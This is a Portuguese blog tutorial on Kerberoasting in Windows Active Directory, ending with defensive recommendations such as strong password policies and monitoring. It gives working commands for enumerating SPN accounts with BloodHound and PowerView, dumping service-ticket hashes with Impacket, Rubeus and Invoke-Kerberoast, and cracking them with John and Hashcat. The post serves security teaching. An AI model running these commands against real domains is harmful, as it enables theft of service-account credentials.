Atacando o Kerberos – Kerberoasting
- Gustavo Viana
- Segurança da informação , Segurança ofensiva
- 8 de junho de 2023
O kerberoasting é um ataque que visa explorar uma vulnerabilidade no protocolo de autenticação Kerberos, amplamente utilizado em sistemas Windows. Ele permite que um atacante extraia a hash das senhas de contas de serviço em formato criptografado, uma vez que qualquer usuário do domínio pode solicitar um TGS para qualquer conta que possua um SPN (ServicePrincipalName). Essas hashes podem ser posteriormente quebradas offline.
Identificando contas vulneráveis
Você pode saber que uma conta de usuário está sendo usada como um serviço porque a propriedade/atributo “ServicePrincipalName” não é nula.
Bloodhound
Dessa forma, através do Bloodhound é possível identificar as contas vulneráveis a Kerberoasting de duas maneiras:
- Clicando em “List all Kerberoastable Accounts” na aba Analysis
- Executando a Query abaixo
MATCH (n:User) WHERE n.hasspn=true RETURN n
Powerview
Agora, vamos utilizar o Powerview para realizar a checagem:
Import-Module .\PowerView.ps1
Get-NetUser -SPN | select samaccountname, serviceprincipalname
ADExplorer
Via ADExplorer é possível identificar contas vulneráveis a Kerberoasting utilizando o filtro:
- Class: User
- Attribute: servicePrincipalName
- Relation: not empty
Realizando o ataque
1 - Obtendo hashes
Impacket
Por meio do impacket, por exemplo, é possível obter as hashes com o comando abaixo:
impacket-GetUserSPNs controller.local/Machine1:Password1 -dc-ip 10.10.141.235 -request | egrep '^\$' > hashes_obtidas.txt
Rubeus
Por meio do Rubeus, por exemplo, é possível obter as hashes com o comando abaixo:
.\Rubeus.exe kerberoast /outfile:hashes_obtidas.txt
Invoke-Kerberoast (Empire)
A versão do Invoke-Kerberoast utilizada para nos exemplos abaixo foi: https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1
. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes_obtidas.txt
2 - Quebrando as hashes obtidas
John The Ripper
Por meio do impacket, por exemplo, é possível quebrar as hashes com o comando abaixo:
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes_obtidas.txt
Hashcat
Por meio do hashcat, por exemplo, é possível quebrar as hashes com o comando abaixo:
hashcat -m 13100 --force -a 0 hashes_obtidas.txt /usr/share/wordlists/rockyou.txt
Como proteger-se contra Kerberoasting / Recomendações
Por fim, inevitavelmente algumas contas necessitarão estar vulneráveis a Kerberoasting pelo fato de serem contas de vinculadas a serviços. Em outras palavras, na maioria das redes será necessário lidar com este problema mitigando o risco, ou seja, dificultando a exploração.
Seguem algumas recomendações:
- Ter uma boa política de senha: Implemente políticas rigorosas de senha, exigindo senhas longas e complexas, além de períodos de expiração regulares.
- Monitorar as contas de serviço: Faça uma auditoria regular das contas de serviço em seu ambiente e verifique se elas são realmente necessárias.
- Segregação de privilégios: Use o princípio de menor privilégio para garantir que as contas de serviço tenham apenas os privilégios necessários para realizar suas funções.
- Monitoramento de atividades: Implemente soluções de monitoramento e detecção de anomalias para identificar atividades suspeitas em seu ambiente.
Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !